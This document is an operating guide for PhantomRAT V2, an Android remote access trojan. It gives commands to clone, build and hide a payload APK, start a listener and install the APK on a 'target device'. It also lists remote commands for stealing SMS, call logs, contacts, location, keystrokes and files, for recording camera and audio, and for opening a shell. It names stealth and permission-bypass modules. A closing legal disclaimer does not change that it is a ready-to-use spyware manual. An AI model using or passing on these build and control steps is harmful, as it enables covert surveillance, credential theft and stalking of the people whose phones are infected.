Complete guide to using PhantomRAT V2
PhantomRAT V2 is an advanced Android Remote Administration Tool for security research. This documentation covers installation, configuration, and usage.
OS: Linux / macOS / Termux
Python: 3.8 or higher
Java: JDK 8 or higher
Gradle: 7.6+ (auto-installed)
RAM: 4GB minimum
Storage: 2GB free space
Android: 11+ (API Level 30+)
Internet: WiFi or Mobile Data
Storage: 100MB free space
Permissions: Allow Unknown Sources
git clone https://github.com/Ritusmin325k/PhantomRAT_V2.git
cd PhantomRAT_V2
pip3 install -r requirements.txt
bash install_gradle_oneclick.sh
source ~/.bashrc # or source ~/.zshrc
python3 rat.py --help
gradle --version
# Basic build
python3 rat.py build -ip 192.168.1.100 -p 8000 -pl android_14
# With custom output name
python3 rat.py build -ip 192.168.1.100 -p 8000 -pl android_14 -o myrat.apk
# With hidden icon
python3 rat.py build -ip 192.168.1.100 -p 8000 -pl android_14 -hide_icon
-ip - Server IP address (required)-p - Server port (default: 8000)-pl - Payload version (android_11, android_12, android_13, android_14)-o - Output filename (default: phantom.apk)-hide_icon - Hide app icon after installationpython3 rat.py
phantom@shell:~$ build -ip 192.168.1.100 -p 8000 -pl android_14
# Listen on all interfaces
python3 rat.py listen -ip 0.0.0.0 -p 8000
# Listen on specific IP
python3 rat.py listen -ip 192.168.1.100 -p 8000
Transfer and install the APK on the target device:
adb install Compiled_APK/phantom.apk
After enabling accessibility, these permissions are automatically granted:
deviceinfo - Get device details
getsim - Get SIM card information
getlocation - Get GPS coordinates
takepic 0 - Take photo (0=back, 1=front)
startvideo 0 - Start video recording
startaudio - Start audio recording
screenshot - Take screenshot
getsms inbox - Get SMS (inbox/sent/drafts)
getcalls - Get call logs
getcontacts - Get contact list
getkeylogs - Get keylogger data
download <path> - Download file from device
upload <path> - Upload file to device
harvest - Harvest files from device
shell - Open remote shell
vibrate 5 - Vibrate device 5 times
sessions - List all connected devices
switch <id> - Switch to different session
exit - Disconnect from current device
source ~/.bashrc # Reload shell configuration
gradle --version # Verify installation
# Check versions
java -version
gradle --version
# Clean build
cd Payloads/android_14
./gradlew clean
./gradlew assembleRelease
netstat -tulpn | grep 8000PhantomRAT V2 includes 17 specialized modules:
| Module | Purpose |
|---|---|
| Config.java | Server configuration |
| PermissionBypass.java | Semi-auto permission system |
| KeyloggerService.java | Accessibility keylogger |
| RATService.java | Main C2 service |
| StealthModule.java | Stealth operations |
Unauthorized use of this tool is ILLEGAL. Only use on devices you own or have explicit written permission to test. Violations may result in criminal prosecution.
For additional support, visit our Contact page or check the GitHub repository.